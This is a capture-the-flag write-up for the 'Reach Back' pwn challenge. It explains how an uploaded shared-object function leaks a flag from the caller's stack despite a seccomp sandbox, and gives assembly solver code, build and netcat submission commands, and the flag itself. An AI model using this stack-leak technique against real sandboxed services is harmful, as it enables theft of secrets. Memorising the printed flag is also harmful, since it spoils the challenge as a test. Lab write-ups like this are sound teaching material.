Reach Back

Walkthrough

Solution

The caller opens the flag before installing seccomp, reads it into its own stack frame, and then calls the uploaded solve function. At solve entry the saved flag buffer begins exactly 0x40 bytes above rsp. Although the sandbox blocks file access, it still permits write.

Export a relocation-free solve function that writes 128 bytes from rsp + 0x40 to standard output and returns. Build it as a shared object and send one base64 line to the service:

as --64 -o solve.o solve.s
ld -shared -z noexecstack -o solve.so solve.o
base64 -w0 solve.so | nc pwn.securinets-enit.club 1321

Reference solver

The reference solver supplied with the writeup:

.intel_syntax noprefix

.global solve
.type solve, @function
.section .text
solve:
    lea rsi, [rsp + 0x40]
    mov edi, 1
    mov edx, 0x80
    mov eax, 1
    syscall
    ret
.size solve, .-solve

.section .note.GNU-stack,"",@progbits

Flag

SecurinetsENIT{826911fc00150e92abba62709557ee1e955e5ba4148d7f511eafea0f700f89e7}